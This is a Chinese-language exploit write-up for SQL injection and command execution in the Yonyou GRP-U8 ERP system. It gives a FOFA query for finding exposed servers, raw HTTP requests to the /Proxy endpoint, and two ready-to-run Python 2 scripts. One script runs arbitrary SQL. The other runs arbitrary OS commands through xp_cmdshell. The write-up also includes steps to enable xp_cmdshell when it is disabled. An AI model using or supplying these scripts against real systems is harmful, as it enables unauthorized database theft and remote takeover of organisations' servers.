用友grp-u8SQL注入&命令执行

用友grp-u8SQL注入&命令执行

fofa搜索语句 title=“GRP-U8”

1、查询版本信息:select @@version
2、验证是否为sa权限:select IS_SRVROLEMEMBER(‘sysadmin’) //返回 1，说明是sa权限，可执行sql语句。 3、判断目标机的MSSQL服务是否存在xp_cmdshell扩展存储过程:
select count(*) from master.dbo.sysobjects where xtype=‘x’ and name=‘xp_cmdshell’ //只要返回结果不是0就说明存在xp_cmdshell 扩展存储过程。

1. POC

POST /Proxy HTTP/1.1
Accept: Accept: */*
Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;) Host: host
Content-Length: 357
Connection: Keep-Alive
Cache-Control: no-cache


cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">select user,db_name(),host_name(),@@version</DATA></PARAM></PARAMS> </R9FUNCTION></R9PACKET>

#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
    print "Usage: python poc.py url sql"
    sys.exit(1)
url = sys.argv[1]
sql = sys.argv[2]
headers = {
	"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
	"Content-Type":"application/x-www-form-urlencoded",
}
def poc(url,sql):
	url = url + '/Proxy'
	print url
	data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">'+sql+'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
	res = requests.post(url,headers=headers,data=data)
	res = res.text
	result_row = r'<ROW COLUMN1="(.*?)"'
	ROW = re.findall(result_row,res,re.S | re.M)
	print '查询成功！'
	print ROW[0]
if __name__ == "__main__":
    poc(sys.argv[1],sys.argv[2])

2. EXP

POST /Proxy HTTP/1.1
Accept: Accept: */*
Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0;) Host: host
Content-Length: 357
Connection: Keep-Alive
Cache-Control: no-cache


cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION> <NAME>AS_DataRequest</NAME><PARAMS><PARAM> <NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM> <NAME>Data</NAME><DATA format="text">exec xp_cmdshell 'dir'</DATA> </PARAM></PARAMS></R9FUNCTION></R9PACKET>

#!/usr/bin/env python2
#coding:utf-8
import re
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
if len(sys.argv) != 3:
    print "Usage: python exp.py url cmd"
    sys.exit(1)
url = sys.argv[1]
cmd = sys.argv[2]
headers = {
	"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36",
	"Content-Type":"application/x-www-form-urlencoded",
}
def exp(url,cmd):
	url = url+ '/Proxy'
	print url
	data = 'cVer=9.8.0&dp=<?xml version="1.0" encoding="GB2312"?><R9PACKET version="1"><DATAFORMAT>XML</DATAFORMAT><R9FUNCTION><NAME>AS_DataRequest</NAME><PARAMS><PARAM><NAME>ProviderName</NAME><DATA format="text">DataSetProviderData</DATA></PARAM><PARAM><NAME>Data</NAME><DATA format="text">exec xp_cmdshell \''+cmd+'\'</DATA></PARAM></PARAMS></R9FUNCTION></R9PACKET>'
	res = requests.post(url,headers=headers,data=data)
	res = res.text
	result_row = r'<ROW output="(.*?)" />'
	ROW = re.findall(result_row,res,re.S | re.M)
	print '命令执行成功！'
	for i in range(len(ROW)):
		print ROW[i]
if __name__ == "__main__":
    exp(sys.argv[1],sys.argv[2])

这是个避坑
！！！！如果报错依次执行一下命令，再执行系统命令有可能可以！！！！
开启cmdshell
USE master
RECONFIGURE --先执行一次刷新，处理上次的配置
EXEC sp_configure ‘show advanced options’,1 --启用xp_cmdshell的高级配置 RECONFIGURE --刷新配置
EXEC sp_configure ‘xp_cmdshell’,1 --打开xp_cmdshell,可以调用SQL系统 之外的命令
RECONFIGURE --刷新配置